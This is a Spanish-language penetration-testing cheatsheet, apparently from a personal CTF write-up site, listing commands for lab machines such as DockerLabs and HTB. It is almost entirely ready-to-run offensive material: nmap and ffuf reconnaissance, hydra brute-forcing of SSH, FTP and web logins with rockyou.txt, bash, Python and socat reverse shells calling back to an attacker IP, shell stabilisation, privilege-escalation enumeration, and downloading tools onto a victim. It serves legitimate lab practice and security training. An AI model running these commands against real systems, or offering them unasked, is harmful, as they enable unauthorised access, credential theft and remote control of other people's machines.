← Volver al inicio

Cheatsheet - Comandos Más Usados


Comandos de referencia rápida usados en la mayoría de mis writeups. Reemplaza IP, PUERTO, usuario, etc. según corresponda.

🔍 Reconocimiento

# Escaneo rápido de puertos

nmap -p- --min-rate=5000 -T4 IP

# Escaneo con detección de versión y scripts por defecto

nmap -p PUERTOS -sV -sC -oN scan.txt IP

# Escaneo UDP (top puertos, suele tardar)

nmap -sU --top-ports 20 IP

# Descubrir hosts en la red

nmap -sn 192.168.1.0/24

🌐 Enumeración Web

# Fuzzing de directorios/archivos

gobuster dir -u http://IP -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak -t 50
ffuf -u http://IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raw-medium-directories.txt -e .php,.html,.txt -t 50

# Fuzzing de subdominios / vhosts

ffuf -u http://IP/ -H "Host: FUZZ.dominio.local" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs TAMAÑO_RESPUESTA_DEFAULT

# Identificar tecnologías

whatweb http://IP
curl -I http://IP

# Escaneo de vulnerabilidades web

nikto -h http://IP

# Archivos comunes a revisar siempre

curl http://IP/robots.txt
curl http://IP/sitemap.xml
curl http://IP/.git/config

🔑 Fuerza Bruta de Credenciales

# SSH

hydra -l usuario -P /usr/share/wordlists/rockyou.txt ssh://IP

# Login web (formulario POST)

hydra -l usuario -P rockyou.txt IP http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

# FTP

hydra -l usuario -P rockyou.txt ftp://IP

🐚 Shells Reversas

# Listener en atacante

nc -lvnp 4444

# Bash

bash -i >& /dev/tcp/TU_IP/4444 0>&1

# Python

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("TU_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

🧷 Estabilización de Terminal (TTY)

# 1. Generar un pseudo-terminal (PTY) con Python

python3 -c 'import pty;pty.spawn("/bin/bash")'

# 2. Ctrl+Z para poner el proceso en background

# 3. En tu máquina atacante, modo raw

stty raw -echo; fg

# 4. Ya en la shell de la víctima

export TERM=xterm
export SHELL=bash

# 5. (Opcional) Ajustar tamaño real de la terminal

stty rows FILAS columns COLUMNAS

# Alternativa con script (si no hay Python)

script -qc /bin/bash /dev/null

# Alternativa con socat (interactiva completa)

socat file:`tty`,raw,echo=0 tcp-listen:4444
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:TU_IP:4444

# Con rlwrap (historial y flechas en el listener)

rlwrap nc -lvnp 4444

⬆️ Escalada de Privilegios — Linux

# Ver qué puede ejecutar el usuario actual como root

sudo -l

# Buscar binarios SUID

find / -perm -4000 -type f 2>/dev/null

# Buscar capabilities peligrosas

getcap -r / 2>/dev/null

# Scripts de enumeración automática

./linpeas.sh
./linenum.sh

# Crontabs

cat /etc/crontab
ls -la /etc/cron.*

📁 Transferencia de Archivos

# Servir archivos desde atacante

python3 -m http.server 8000

# Descargar en la víctima

wget http://TU_IP:8000/archivo
curl http://TU_IP:8000/archivo -o archivo

# Vía SCP

scp archivo usuario@IP:/tmp/
📝 Notas
  • Reemplaza siempre rockyou.txt por wordlists más específicas si no da resultado.
  • Guarda outputs de nmap con -oN para no repetir escaneos.
  • Antes de escalar privilegios, corre siempre sudo -l, busca SUID y ejecuta linpeas — cubre el 90% de los casos en labs tipo DockerLabs/HTB fácil-medio.